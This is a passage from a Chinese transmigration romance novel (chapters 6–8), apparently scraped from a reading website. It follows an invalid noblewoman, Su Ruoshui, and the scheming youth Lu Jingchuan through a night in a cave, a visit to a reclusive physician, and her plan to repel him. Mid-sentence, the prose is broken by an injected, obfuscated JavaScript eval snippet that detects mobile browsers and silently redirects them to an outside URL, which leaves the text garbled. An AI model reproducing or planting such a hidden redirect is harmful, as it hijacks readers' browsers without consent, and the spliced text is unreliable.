小腿已经开始不间断地抽搐,苏弱水疼得倒抽一口冷气,浑身都被冷汗浸湿。 实在是太疼了,就跟她刚刚醒过来,双腿绑着夹板一样,稍微一动,那种神经性的疼痛让人当即想死。 刚才已经开口过一次,这次再开口让人帮忙,苏弱水的羞耻感少了一半。 “帮我按一下腿。” 女人的声音已经带上哭腔。 陆泾川见过一次这样的她。 那日里,他照常过来与她说话。 还未进门,便听到里面传来女人的痛呼声,断断续续,隔着门扉,一边喊“妈妈轻点,”一边又说,“画屏你也轻点。” 陆泾川没有进去,他就站在那里。 门没有关严实。 很窄的一条缝,视野却正好对着侧边的床铺。 隔着一层珠帘,两层床帐完全展开。 王妈妈和画屏站在女人身侧,一人替她按摩,一人替她擦汗。 屋内折腾了一会,声音平息之后,少年才缓慢眨动眼睫,然后伸手叩了叩门。 半晌,有人过来开门。 屋内昏暗,浓郁的药香跟淡雅的熏香交融在一起,形成一股奇异黏腻的味道。 帘子挂起一半,女人卧在床头,轻薄的衣物遮不住身段。她半偏着脸,露出半张侧颜来,神色蔫蔫,眼眸通红。汗湿的发丝贴在面颊上,没什么精神。 画屏将帘子放下,然后又去将窗子打开。 风涌入屋内,吹散了那股黏腻的味道,也吹散了少年眸中暗色。 那日里,女人与他说话的时候也心不在焉,嗓子哑哑的,大概是哭久了。 就跟现在一样。 洞穴内的火堆发出燃烧时木料被灼烧的声音,飞起的火星在黑暗中旋转。 陆泾川垂目,看着死死拽住自己衣摆的苏弱水。 因为疼痛,所以苏弱水下意识往身边人靠去,寄希望于能获得一份力量,这种如同猎物自投罗网于恶犬的举动,对于早已被疼痛折磨的神志不清的苏弱水来说,就算面前是头恶犬,她也会毫不犹豫地抱上去。 陆泾川没有动。 却也没有推开她。 苏弱水忍了忍,还是没有忍住,把脸埋进了陆泾川胸口。 女人柔软的发丝带着冷淡的香气沁入鼻尖,陆泾川低头,看到她白皙的脖颈,羸弱纤细,藏在黑色发丝之中,莹白一片。 太白了。 想让人在上面留下点什么。 终于,少年抬起了手。 陆泾川的手指修长白皙,却并不柔软,带着长年累月磨砺出来的粗糙感,隔着衣物,贴上苏弱水的后颈下侧。 腿部的疼痛一阵接一阵,而在这样的疼痛之后,苏弱水却还能感觉到一点冰冷的触感从衣料那边蔓延过来,点上她的后颈肌肤。 她下意识缩了缩脖子,这个动作导致她更往陆泾川怀里挤了挤。 陆泾川轻掀唇角,一把按住她的肩膀,强制施力,“躺好。” 7. 第 7 章 少年看似纤瘦,按在她肩膀上的手劲却一点都不小。 苏弱水被推平,躺下来的瞬间,少年的阴影罩下来。 她恍惚有一种被恶犬覆盖的恐惧,可很快,腿部的疼痛就将她从幻想之中拉了回来。 那次,隔着门缝,陆泾川看到了王妈妈按摩的手法。 他是个聪明人,很多东西看一遍就会了。 掀开厚重的裙裾,陆泾川隔着裤子按到苏弱水抽筋的小腿。 女人哭得双眸红肿,眼泪挂满香腮,浸湿鬓角。 她一只手死死抓着陆泾川的胳膊,另外一只手拽着自己的裙裾。 柔软的裙裾顺着她被抬高的小腿往下散开,露出白色的裤子。 少年指骨压在她的小腿上。 虽然王妈妈和画屏每天都会帮苏弱水按摩锻炼双腿,但腿部肌肉的萎缩是无可避免的。 因为几乎没有运动量,所以苏弱水的腿部没有太多肌肉,捏下去很软。 “你轻点。”苏弱水再次被痛出了眼泪。 大致是有求于人,这位郡主身上那股傲气和厌恶已经不见了。她哭得眼泪涟涟,不断抽泣,像是要把身上的水都流干。 陆泾川的指骨隔着裤子,顺着她的小腿往上蔓延,眼尾轻瞥,黑色的瞳孔中印出女人的脸。 因为疼痛,所以女人咬紧了唇。柔软的唇瓣上露出鲜明的齿痕,带着沁血的痕迹。女人的唇色本是淡的,现在却变得很红,淡极生艳,像糜烂的花瓣。 黑发散乱在面颊上,那张苍白的面孔浮上红晕,颤抖的很真实。 陆泾川漫不经心地想。 哭得真惨。 突然,女人侧弯着身体蜷缩,松开攥着裙裾的手,单臂挡住脸。 散开的袖口盖在她的脸上,只露出一片薄薄的下颚。 她哭得实在太惨,在陆泾川面前,苏弱水觉得丢脸。 四周安静了一会。 陆泾川的视线被那摆袖口遮掩。 女人的声音呜呜咽咽从布料里传出来,像小猫哼唧。 陆泾川换了一个姿势。 他的膝盖从女人腿下穿过,把她的腿垫了起来。 苏弱水只感觉自己的身体被人往后一拽,盖在脸上的袖口往下滑,那张刚刚盖住的脸又露了出来。 她神色懵懂地朝少年看过去,正对上他隐没在火光中的眸色。 少年又笑起来,盯着她再次完全露出来的脸看,“这样更好施力。” - 腿部的抽搐感逐渐消失,苏弱水拽着陆泾川衣摆的手松开,整个人如同从水中捞出来一般湿透且力竭。 她躺在那里,低低喘气,跟重新活了一遍似的。 “好了。”苏弱水低声开口。 陆泾川指骨一顿,毫不犹豫地松开她。 柔软的小腿从他膝盖上滑落,藏入裙裾之中。 苏弱水觉得疲惫至极,她闭上眼,呼吸逐渐平稳。 火堆变得没有那么明亮了,陆泾川侧身往里面扔了几根干燥的柴火。 火焰燃起来的瞬间,他听到身后传来女人的声音,“谢谢,辛苦了……晚安。” 陆泾川转头,看到女人闭着眼,已经陷入沉睡,刚才那一句话好似是他的幻听。 谢谢。 辛苦了。 晚安。 少年歪头,感觉指骨莫名瘙痒。 - 翌日,苏弱水从睡梦中苏醒,感觉身上有些发热。 昨天晚上出了一身汗,又没有及时清洗,然后又在山洞里睡了一晚,按照原身的身体情况确实很难抗住。 洞外山雾不知道什么时候化了,清冷的日光从外面照射进来,适应了洞内昏暗光线的苏弱水下意识眯起了眼。 随后,她听到了人声。 “郡主?郡主?” 是刘叔。 “在这里,我在这里……”苏弱水张嘴,嗓音沙哑,努力发声。 “郡主。”画屏也醒了。 她抱着身上的大氅坐起来,看到苏弱水苍白的面颊,赶紧起身将手中大氅裹到她身上。 除了人声,苏弱水还听到了马匹的嘶鸣声。 “郡主!”刘叔急匆匆奔进山洞,看到完好无损的苏弱水,这才重重松了一口气。 - 这次上山将众人折腾的不轻,回到驿站,王妈妈和画屏替苏弱水清洗身体。 苏弱水坐在凳上,低头看到自己满是青紫淤青的双腿。 那些淤青从脚踝往上蔓延,一直到膝盖之上,最后隐没入盖着白色浴巾的大腿上。 当时苏弱水太疼了,再加上她作为一个现代女性并没有那么重的男女大防观念,因此,当时她并不觉得有什么不对。 可现在冷静下来,还是被这半身的淤青吓得不清。 因为看起来实在太可怕了。 原身本就娇生惯养,多月无法行走,肌肉有些不明显的萎缩,平时磕碰一下就是一块青紫,更别说是用力按压了。 陆泾川的手劲绝对比王妈妈大,苏弱水甚至能从淤青边缘看到他的指骨痕迹。 “天呐,怎么会这样!”王妈妈发出惊恐的声音。 “没事。”苏弱水柔声安抚,将山洞内陆泾川替自己隔着衣物按摩的事情说了一遍。 王妈妈立刻抚了抚焦躁的心口,“既是小公子,那是没事了。” 虽然从王妈妈一等人的态度已经能看出来他们对陆泾川的态度,但苏弱水还是不死心。 “妈妈觉得,他很好?” 王妈妈立刻便笑了,“小公子是个心地善良,乖巧懂事,勤奋聪明的好孩子。” 陆泾川有两副皮囊,他喜欢顶着一张明媚漂亮的面孔,当一个纯真可爱的少年郎,可当所有人都被他那副面孔哄骗之时,他只觉得无趣,可能这就是聪明人的世界吧。 苏弱水看一眼王妈妈,无奈叹息一声,有一种世人皆醉我独醒的孤独感。 “妈妈,把我的小私库拿过来。” 此次出行,北平王给原身准备了很多傍身钱。 王妈妈起身,将原身那个小小的紫檀木盒子拿过来,打开上面的小金锁以后,里面压着厚厚一叠银票。 苏弱水抽出几张递给王妈妈,“帮我给他。” - “这是郡主给小公子的。” 陆泾川看着王妈妈递过来的银票,数额很大,薄薄的几张纸,还透着那股熟悉的混杂着药香的熏香味道。 少年眨了眨眼,似是不解,“郡主为什么……” “自然是心疼小公子了。”王妈妈笑得不见眉眼。 在她心底,已经将陆泾川认定成为苏锦书。 “小公子冒死进山,郡主是极感动的。” 虽然苏弱水没说,但王妈妈猜测是这样的。 “郡主说,小公子可以去买些自己想要的东西。” 陆泾川低头,眉骨落下,投出一层暗影,盖住他眸中情绪。 他捏着银票,缓慢抬头,露出笑来,眸中藏着一抹为人无法察觉的轻蔑,显然是知道这位郡主已然对他不设防。 “这么多,我是不是该去谢谢郡主?” - 山上那几日实在是将苏弱水折腾惨了,她睡得很沉,睁开眼的时候意识混沌。 屋内灯色昏暗,窗户也没开,日头刚刚落下,隐蔽的光线从缝隙中溜出去,只剩下一点残留的细线。 王妈妈打了珠帘进来,帘子噼里啪啦的声音让苏弱水的意识清醒了些。 “郡主。”王妈妈低声唤她。 苏弱水闭眼缓了缓神,想起身,便从帐子里探出一只手,顺着袖口抓住王妈妈的手。 被苏弱水抓住的那只手明显僵硬了一瞬,似乎是想抽走,可苏弱水已经借着这股力气半起身了,自然不肯让它离开,便更加用力握紧了几分。 苏弱水撑着半坐起来,抬头的时候从帐子缝隙里看到了站在自己身侧的人。 刚刚睡醒,她的脑子还没转过弯来。 苏弱水从喉咙里哼出一个惺忪的音,“嗯?” 陆泾川换了件新衣,依旧是淡淡的蓝,只一点朱红色的发带垂在肩头, 他整个人融在昏暗的环境里,垂眸,安静地站在床侧,像个木架子似的杵着,视线落在两人交握的手上。 女人的手指很细,很白,指尖的粉色很淡,莹润的像一捧琼脂,轻轻一捏就会融化。她细瘦纤薄的手腕上缠绕着的佛珠光滑圆润,轻轻垂落。 陆泾川的手带着属于奴隶的粗糙感,虽然指骨分明的好看,但肌肤却很粗粝。 苏弱水彻底醒神,猛地一下甩开陆泾川的手,活像是触碰到了什么洪水猛兽。 身子没了支撑,她跟折断了翅膀的蝴蝶一般骤然摔回去。 动静有些大,正给苏弱水端茶水的王妈妈立刻小跑过来,茶盘里的茶盏都被晃出了水。 “怎么了,郡主?” 苏弱水倒是没有摔疼,只是摔得有些懵。 她喘了口气,是被吓得。 “你怎么在这?” “是奴婢带小公子进来的。”王妈妈赶忙解释。 陆泾川那只被苏弱水握过的手垂下,露出另外一只手里捏着的银票,“郡主疼我,我会好好收着的。” 王妈妈点亮了屋内的琉璃灯。 灯光倾泻,少年弯唇,笑得明媚。 苏弱水下意识蹙眉。 陆泾川笑意不减,眸色却暗了几分。 又皱眉。 少年摩挲了一下指骨。 不如昨日哭着好看。 苏弱水稳了稳心神,“这是给你的谢礼。” 用银票来还恩情。 这是不想与他有牵扯。 昨日山上的危情过去,这位郡主又翻脸不认人了。 陆泾川眸中笑意散去。 他盯着她看了一会,捏着手里的银票,转身出去了。 看着少年离开的背影,苏弱水立刻松了一口气。 王妈妈却忍不住皱了皱眉,觉得这对姐弟也太生分了些,而且很明显,一向阳光活泼开朗脾气好的小公子生气了。 满腔热血被一沓子冷冰冰的银票打发,自然是不高兴的。 “您与小公子是亲姐弟,亲近些也无妨。”王妈妈忍不住劝了一句。 苏弱水看一眼王妈妈,有苦难言。 似乎只有她一个人能看出少年那双眼睛之下藏着的冷漠。 也只有她,看到他笑却觉得瘆得慌。 对于陆泾川这样的人来说,这个世界上的人只有两种。 一种是能利用的人,一种是不能利用的人。 现在她是可以利用的人,他自然对她百般讨好。 可只要她失去了这份价值,陆泾川是连看都不会多看她一眼的。 在陆泾川眼中,感情是最无用的东西,可这样的人又偏偏能利用别人的感情来获得利益,牵制对手。 一个无情无心却聪明至极,又不吝于手段卑劣的人。 可怕。 苏弱水本就不是一个性格强硬的人,因此这副强撑起来的严肃冷淡模样在陆泾川离开之后迅速溃败。 像她这种象牙塔里刚刚毕业没多久的单纯女大学生,面对陆泾川这种由作者精心塑造出来的早熟野心家人设实在是太难了。 这就好比她刚进新手村就遇到终极大boss,虽然是少年版的,但实在令人心生不安和恐惧。 苏弱水可以确定,陆泾川会出现在梧桐山绝非偶然。 如果可以,她根本就不想跟他对线,可没办法,不久之后,她会因为陆泾川而丧命,所以她必须要跟他对抗。 她应该没有露出什么破绽吧? 苏弱水救助过流浪狗,因为没有养过狗,所以她去看了训犬节目。 想要驯服恶犬,就必须要拿出气势来。 你越弱,它越强。 你越强,它越弱。 想到这里,苏弱水从被褥里取出一柄小铜镜。 小铜镜虽然没有现代的玻璃镜子那么清楚,但能看清楚脸上表情。 苏弱水躺在那里,对着小铜镜又弄了小半个时辰的表情训练,看着自己耷拉下来眉眼时,气质清冷高贵起来,再往下撇一撇嘴,显出对陆泾川的不屑。 - 陆泾川很少拥有这样外露的情绪,尤其是在别人面前。 苏弱水是第一个。 他坐在屋子里,看着手上的银票。 这是驿站内毕竟偏僻的一处房屋,它后面有一扇窗户,打开之后能看到斜对角的另外一扇窗户。 那扇窗户之后住着那位金尊玉贵的贵人。 苏弱水出发那日,他便跟着进了山。 山中起雾,容易迷路。 刘飞用匕首在树上刻下记号用来记路。 陆泾川破坏了那些记号,又用生血味道引来孤狼袭击,才获得这一次机会。 人在恐惧紧张,无依无靠的境况下会对救助者产生奇怪的依赖。 一切看起来进展的十分顺利。 可惜,梧桐山的雾气散得太快了些。 他还没来得及做其它的事情。 不过陆泾川认为他做的已经足够。 可这次事情出乎他的意料。 那位看起来并不买他的账。 他失败了。 陆泾川从小便能在奴隶堆里活得比任何奴隶都好,当然,他也不是没有吃过亏,只是吃过一次,便不会再吃第二次。他利用自己的脸,利用自己的乖巧讨喜,利用自己的心狠手辣,他很少尝到挫败的滋味。 呵。 少年不怒反笑。 真有意思。 他用力摩挲指骨,被握过的指骨似乎又传来古怪的瘙痒感。 - 因为上次进山极不顺利,所以苏弱水只能再等待机会。 最近天气不好,昨日晚间刚刚下过一场雨,今日阴天,没一会儿又从窗户口飘进去细密的雨滴。 苏弱水躺在床上,盯着床帐边挂着的半镂空熏香笼发呆。 她今日醒得早,窗户虚开一条缝,外头的天还没亮呢。 苏弱水摸出枕头下面看了一半的话本子,看了几页又没了兴趣。 她伸手触到自己的腿。 这几日老是下雨,她的腿也不舒服。 小说的具体情节已经记不太清楚了,原身到底是怎么找到神医的? 苏弱水偏了偏头,将视线落到不远处的书桌上。 那里摆放着干净的纸墨笔砚,细长的毛笔挂在笔架上,被风吹得轻缓。 水晶镇纸压在白宣纸上,折射出漂亮的五彩光芒。 她的家书还没写。 如果这个世界毕竟要按照剧情重要节点进行推进的话,是不是只有写了这封家书,她才能遇到那位神医? 苏弱水猛地一下拉起毯子盖住脸。 她不想写。 这封家书对于现在的苏弱水来说就跟进入阎王殿的邀请函没有两样。 屋外传来窸窸窣窣的声音,大概是觉得苏弱水还没醒,王妈妈跟刘飞站在外头说话也没避着她,“那神医到底找到没有?郡主这一次疼过一次,她年纪还轻,以后的日子可怎么过呀。”王妈妈愁得红了眼眶。 刘飞也愁,南方毕竟不是北平,他带着护卫兵将附近找遍了,除了上次梧桐山的消息外,再没有寻到那位神医的任何蛛丝马迹,就好似有一股神秘力量在刻意掩盖。 “我再带人出去找找。”话罢,刘飞带着一队护卫兵冒雨出门去了。 王妈妈站在原处,一边抹泪,一边心疼。 苏弱水听得心尖颤抖。 她难道一直要受这种折磨吗? 苏弱水一想到那股钻心的疼痛,就忍不住红了眼眶。 一次,两次,她的身体能承受,精神也能承受。 可长此以往呢? 身体被病痛折磨消耗,精神更是支撑到临界点。 到那个时候,就算她没有因为陆泾川而死,也会被这个病拖死。 不能再坐以待毙了。 苏弱水冷静下来,细细算计。 北平和这里送信来回最快也要一个月。 在北平王派暗卫到来之前,她把自己的腿治好,然后把陆泾川赶走。 苏弱水思考了很久,终于在天亮之前带着眼下的青黑,让王妈妈帮忙取了案几过来,放在床上,慢吞吞的写了一封家书,告诉远在北平的北平王,弟弟找到了。 王妈妈取了信,立刻找到刘飞让他差护卫军送去北平。 陆泾川正在跟刘飞学习兵法。 刘飞作为王府的正三品护卫指挥使司,学识和武艺都是顶尖的。最重要的是,他还上过战场,是个实践和理论完美结合的老师。 陆泾川虽然是个奴隶,但他知道识字读书的重要性,时常偷着去宗塾内偷听。他脑子好,学的快,那些老师只说过一遍的东西他就能记住,不止记住,还能举一反三,融会贯通。 因此,短短两三个月,陆泾川便已经将刘飞教的东西吸收殆尽。 如此可怕的学习速度,就算是见惯了天才的刘飞都觉得匪夷所思。 “郡主的书信?”刘飞从视线从兵法书上移开,接过王妈妈手里散发着檀香味道的书信。 陆泾川的视线跟着下移,他稍稍眯了眯眼,却无法穿过信封看到里面的内容。 王妈妈脸上难掩惊喜之色,“小公子,郡主已经在信中告知王爷寻到您了,等郡主治好了腿,咱们就回家。” 回家。 陆泾川垂在身侧的指尖下意识颤动了一下。 他脸上扬起笑,连带着周身的阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595781|187439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光都明媚起来,“嗯。” - “郡主!郡主!” 王妈妈的声音从楼下传过来。 王妈妈虽只是个奴婢,但从小跟着大家世族的小姐长大,一直很重规矩,且年纪上来,越发沉稳,反正自苏弱水穿书过来,就没有见过她这样大喊大叫的时候。 苏弱水正坐在屋内的轮椅上看话本子,听到王妈妈的呼喊声后立刻将话本子合上,然后让画屏将这本带着佛经皮囊的话本子塞进梳妆台下面。 王妈妈虽疼她,但比较古板,最不赞同苏弱水看这些东西了,尤其有些还有点十八禁。 话本子刚刚藏好,王妈妈就推门进来了。 她身上还带着雨水,雨势不大,只稍微沾湿了衣服。 “妈妈,怎么没撑伞?” “神医找到了!” 苏弱水和王妈妈同时开口。 苏弱水神色一怔。 昨日送出去的信,今日神医就找到了? - 这位神医住在县城内一处深巷里,那巷子窄得一次只能走一个人。 王妈妈背着她走在巷子里,每一步都小心翼翼,生怕磕碰到她。 “这巷子也太长了吧。” 画屏跟在两人身后,左顾右盼。 虽是白日,但巷子却又深又暗。 脚下的青石板砖磨损的有些严重,地上还有青苔和积水。 王妈妈拧着眉,努力辨认脚下的路。 前面有护卫军提着一盏红纱笼灯领路,摇摇晃晃照出一片光。 巷子上面封了顶,越走越黑,越走越深。 “到了。” 突然,最前面的护卫军停了下来。 这是巷子最深处的一间屋子,入口很小,依旧只供一个人进入。 苏弱水伏在王妈妈背上,伸手敲了敲门。 里面很久都没有动静,直到苏弱水忍不住又敲了两遍,才有人过来开门。 开门的是一个年幼的童子,梳着总角童子髻,仰头看向面前的两人,“你们是谁?”童子歪头,看起来有几分纯稚可爱。 苏弱水恭谨道:“我们找神医。” “爷爷,有人找你。”童子欢欢喜喜地奔进去,没一会儿牵出来一个老头。 白发白须,手里还拿着一捧药草。 按照苏弱水看小说的习惯,像这样的神医大抵住在深山野林或者世外桃源医仙谷之类的地方,还真是第一次碰到住在江南水巷子里的。 不过这院子虽藏在巷子里,但打开门之后却别有洞天。 院子很大,阳光很好,晒满了药草。院子侧边有个小门开着,连接着外面的河流,有石阶可以下去直接取水,还停着一艘小船,上头放着鱼篓子和竹竿。 主屋一共有六间,还不包括几个杂物房,临近的红木圆柱上还雕刻了一些苏弱水看不懂的花草鸟兽。 很显然,这位神医还是个惯于享受生活的人。 他只看一眼被王妈妈背着的苏弱水,连询问都没有,便直接开口道:“你们走吧。”话罢,径直关了屋门。 这是不治的意思。 苏弱水神色微变,在王妈妈开口前制止了她,让画屏将她马车内的一罐顾渚紫笋茶取来,交给了那小童。 没过一会,院门被打开,那位神医深深地看一眼苏弱水。 苏弱水回以微笑。 “进来吧。” 顾渚紫笋茶乃贡品,民间不可见,朝廷专设茶焙局供应宫廷。 能拿出贡茶,面前这些人自然身份不一般。 苏弱水并未出示任何权利的象征来以权压人,而是用送茶来告诉这位神医。 这病他不治得治,治也得治。 显然,这位神医是个聪明人,而并非迂腐之辈,他听懂了苏弱水的意思。 神医应该是江南人,年纪大了后回乡隐居于此。 自古神医的脾气都是古怪的,老头不爱讲话,医术却是极好的。 屋内虽简单,但并不简陋,也很干净,能嗅到浓郁的药草香气,还有几只猫儿甩着尾巴蹲在各处,眼睛亮晶晶地盯着一格一格药箱子。 听说虫鼠喜欢啃药材吃,想来这位神医养这些猫儿是为了抓虫鼠。 神医坐在苏弱水身边替她把脉,然后又捏了捏她的腿,问了缘由和症状,立刻便给她施针了。 苏弱水虽然有些疑虑,但秉持着对剧情的尊重和对神医的信任,没有问出口。 事实证明,她是对的。 第一次的治疗效果很好,苏弱水甚至能直接站起来了。 当然,只能站大概几秒钟。 不过这已经让苏弱水感觉很兴奋了。 “前七日需要每日针灸,后半月三日一次。” 苏弱水赶紧让王妈妈付诊费。 那神医微微颔首,态度也不似之前那般冷淡随便,多了几分客气,却也并不阿谀奉承。 神医让身边小童接下,然后取出一个翠绿色的小瓶子递给苏弱水。 苏弱水双手接过。 “这药能止痛,最好睡前服用,吃了容易困。” “多谢神医。” 这位神医收费一点不便宜,倒是让这份古怪多了几分人气,也证明了这屋子里的摆件桌椅都是真东西,倒与小说中那些个只知道钻研医术,两袖清风,不问世事的主不太一样,也十分懂得审时度势,倒是与陆泾川有些相似。 苏弱水被刘飞背出去的时候心情是极舒畅的。 她想,现在就只剩下一个问题了。 她要在一个月内赶走陆泾川。 陆泾川就是那柄悬在她头顶的剑,如果他不走,她就算治好了腿也没有办法活着。 刚刚知道自己的腿能好,苏弱水又怎么肯轻易放弃生命呢? 到底怎样才能让他离开呢? 苏弱水回想了一下整本书,突然想到那位惠安郡主。 那位郡主性情开放,豢养了许多男宠,第一眼看到陆泾川时就被他的容貌所吸引。 陆泾川虽是个狡猾的人,喜欢用这张脸和伪善的皮囊获得好处,但有一禁忌,不喜欢别人触碰他的身体。 那是从心底里产生出来的厌恶感,生理性的讨厌。 陆泾川也在努力纠正这一点,毕竟这对于他一个奴隶身份的人来说,实在不是一个值得夸耀的优点,反而是一个极大的缺点,可能还会招致性命之忧。 经过努力,陆泾川能做到跟常人正常触碰,可也仅仅止于正常,能不触碰绝不触碰。 那位惠安郡主想跟陆泾川颠鸾倒凤一下,没想到少年在她触碰的时候生理性厌恶直接吐了。 惠安郡主自小金尊玉贵的长大,自然受不了这样的屈辱,恨急了他,当即拔剑就要杀他。 一个奴隶,死了就死了。 为了自己的幸福体验,惠安郡主之前就将屋内的人都支开了,就连院子里的人都打发去了。 因此,当众人发现惠安郡主的尸体时,陆泾川已经在逃亡的路上了。 苏弱水回想了一下自己跟陆泾川的一些相处。 虽然之前在梧桐山上有过一夜独处(画屏已经睡死了算独处吧),他还给她揉捏双腿,带她去如厕,两人一直隔着衣料,并未肌肤相亲。 唯一的一次接触似乎是……那日屋内,她错认了人。 苏弱水将陆泾川认成了王妈妈,她握住了他的手。 苏弱水想到那时,少年明显僵硬的身体,像是恶心的僵硬住了。 啊。 苏弱水灵光一闪。 突然,窗子门口传来一道很轻的磕碰声。 苏弱水下意识抬头看过去,只见窗户被轻轻打开一条缝,一捧散发着清冽味道的梅花悄无声息的出现在窗台上。 窗外少年的视线跟她对上,显出一瞬间的慌乱,然后恭谨行礼,“郡主。” 苏弱水看一眼那梅花,再看一眼脸上蹭着一点污泥的陆泾川。 她当然知道这些都是男主贿赂人心的小把戏。 不过现在苏弱水另有目的,自然不会拆穿,反而还露出了一点笑颜。 “这梅花真好看,你用早膳了吗?一起吧。” 女人很少对他笑,自从上次在梧桐山内的山洞里被迫笑过一次之后,看到他时总冷着一张脸。 细薄的日光从窗口照入,女人的脸被镀上一层淡淡薄光,光洁白皙的肌肤,如青白的玉。 少年眸色暗沉,脸上却闪过受宠若惊的表情,然后在王妈妈鼓励的眼神下走了进来。 “我听说郡主找到神医了。” 苏弱水上下打量陆泾川一眼,然后缓慢点了点头,“嗯。” 她知道,对于陆泾川来说,她的腿好不好跟他没有任何关系,他一点都不在意。 少年露出笑颜,彷佛是真的在为她高兴,“那真是太好了。” 8. 第 8 章 南方五月的天气,温度逐渐上升,因为原身体弱,所以她身上的薄袄还没撤下来。 七日针灸之后,苏弱水已经能短暂行走站立,不过依旧不能逞强。 苏弱水被王妈妈放在廊下,腿上盖着薄毯,日头并非直接落在她身上,而是从侧边围墙的镂空花窗内透进来,斑斑驳驳地照在她身上。 女人一袭素色靛青裙衫,宽袖窄领,衬出纤细脖颈,发饰也以翡翠和珍珠为主,看起来素雅至极。 今日县城内有庙会,原本苏弱水是不想去凑这份热闹的,可她又突然想到自己的计划。 “郡主,小公子来了。” 王妈妈把陆泾川带了过来。 少年体质好,天气还未热起来,他就已经穿起了薄衫,这次是深色的蓝,将他的肌肤衬托的愈发白皙,整个人的气质也如蓝色绣球花般温柔干净。 “郡主。”陆泾川上前行礼。 苏弱水的视线从他脸上略过,没有做过多停留。 自从前几日一道用了早膳之后,苏弱水忙着去神医那里针灸,也没有再见陆泾川,今日是上次之后第二次见面。 苏弱水握着手里的美人扇,一手遮着斑驳的日头,微微歪头,视线飘飘的从陆泾川肩头的发带上略过,“今日城内有一场庙会,你与我一道去。” 少年肩头的发带被风吹起,他眯了眯眼,随后笑道:“好啊。” - 苏弱水被王妈妈推着来到马车前。 画屏的病还没好,正在屋子里养着。为了避免引起骚乱,苏弱水让护卫兵换下铠甲,穿了寻常百姓的衣服,扮作两名马车夫随行。 上马车这样的动作目前苏弱水还做不到。 王妈妈正欲上前将苏弱水从轮椅上抱起来,不想苏弱水突然抬手,用手中的锦缎美人扇隔开王妈妈。 “你来抱我上去。”美人扇半遮住脸,苏弱水将眼神对上陆泾川。 女人努力稳住颤抖的眼睫,望进陆泾川那双黑白分明的深沉暗眸之中。 今日阳光确实不错,将陆泾川浑身都照亮了,像块裹着蓝布的白玉一般站在那里,哪里看得出半点里头的阴暗。 王妈妈是十分乐于看到陆泾川跟苏弱水亲近的,自然没有阻止的道理,立刻就听苏弱水的话往旁边站了。 陆泾川的眉头微不可见地皱了皱眉,不过他并未思考许久,只半分钟的时间,就已经走到了苏弱水面前。 少年弯腰,一只手穿过她的腋下,一只手穿过她的膝盖窝。 苏弱水腾空而起的时候,心脏忍不住跟着狂跳起来,肺部吸入少年身上的味道。 陆泾川忍受不了跟别人肌肤相亲,苏弱水虽然没有这个毛病,但她很怕跟陆泾川肌肤相亲。 她突然发现自己还没做好准备。 因此,当她身体僵硬的被放到马车内后,才意识到自己错失了第一次机会。 陆泾川将苏弱水放到马车内的软垫上后就准备下车,没想到身后传来女人的声音,“等一下,一起坐。” 陆泾川自然不会觉得这位郡主是突然转性想跟他亲近了,那她到底在打什么主意呢? 少年顿了顿,然后在王妈妈鼓励的眼神下撩起袍子坐了下来。 苏弱水此次低调出行,选了一辆简单的青绸马车,逼仄的马车空间内,少年靠在马车壁处,屈起的膝盖时不时撞到她的脚。 因为身体原因,所以苏弱水是斜靠着的,占据了马车的三分之二。 她没有注意到这件事,只是一味想着等一下陆泾川再将她抱下去的时候她要怎么做。 她自然不必做到惠安郡主那一步。 只要点到即止,让陆泾川受不了她,恨不能看到她就绕路走,让他放弃成为她弟弟的这个想法就可以了。 陆泾川安静坐在那里,低着头,视线落到女人的双腿上。 今日她穿了件素白的裙,上面绣着梅花,一簇簇压在裙角,裹着细瘦的双腿,勾勒出漂亮的弧度线条。 陆泾川单手搭在膝盖上,指腹摩挲了一下。 “茶。” 苏弱水用手里的美人扇敲了敲陆泾川的手臂。 轻薄的美人扇摇来一阵香风,陆泾川偏头看向案上摆着的茶具,低头倒了一杯送到苏弱水面前。 苏弱水抬起自己缠着佛珠的手,暗自深吸一口气。 她单手托住茶盏,指腹擦过少年指骨,然后迅速收回。 女人体质弱,虽然天气已经暖和了许多,但她的肌肤温度尤其是指尖却还是冰凉凉的。 少年低着头,指骨处冷不丁像是被一块冻过的琼脂贴了一下,触感极其强烈。 茶水入喉,将苏弱水几乎要抵到喉咙口的心跳声压了回去。 她小心往陆泾川那边瞥了一眼。 少年正在摩挲自己的指骨,那里有一块都被他搓红了。 有效果! 她还怕自己太过小心,没让他注意到呢,没想到陆泾川如此厌恶,连一点点肌肤相触都不行。 苏弱水突然信心倍增。 很好,再接再厉恶心死他。 有了第一次,第二次时苏弱水就大胆多了。 今日城中庙会,摊贩几乎排满了一条街。除却庙中专人进行的祭祀等活动,对于他们这些前来游玩的人来说,所谓庙会,实际上就是一处大型集市。 除了摊贩,还有杂耍卖艺的,看戏的人围着,将路堵得死死的。 马车寸步难行,王妈妈只好让护卫兵找了一个空地先停下。 此处偏僻,只零星几人,王妈妈打了帘子出来,苏弱水手持美人扇,偏头看向陆泾川,“你抱我下去。” 那边王妈妈已经将她的轮椅从后面取了出来。 陆泾川上前,按照之前的方式去抱苏弱水。 女人的身体肉眼可见的在他触碰之时僵了僵,可很快柔软下来,像是在强迫自己接受这样的亲密。然后下一刻,一双柔荑挽住了他的脖子。 之前苏弱水为了跟陆泾川保持拒绝,一直把胳膊搭在他的肩膀上。 一方面是为了保持平衡,另外一方面是为了保持距离。 现在,为了自己的计划,苏弱水把胳膊搭在了他的脖子上。 美人素手交叠于少年颈后,肌肤贴着肌肤,尖锐的指甲甚至因为不熟练,所以还划出了一点浅淡的红痕。 陆泾川顿了顿,将人往上颠了颠,然后下马车。 苏弱水被颠起来的时候下意识以为陆泾川要把她扔出去,更加用力把人抱紧了。 可少年没有把她扔下去,只是抿着唇,把她放到了轮椅上。 苏弱水一落座就松开了自己的胳膊,然后偷偷觑了陆泾川一眼。 陆泾川肌肤白,后脖颈子上那一点抓痕分外明显。 像原身这样的贵女喜欢留长指甲,养得青葱一般,显得手指更加修长美丽。 抓起人来也分外得劲。 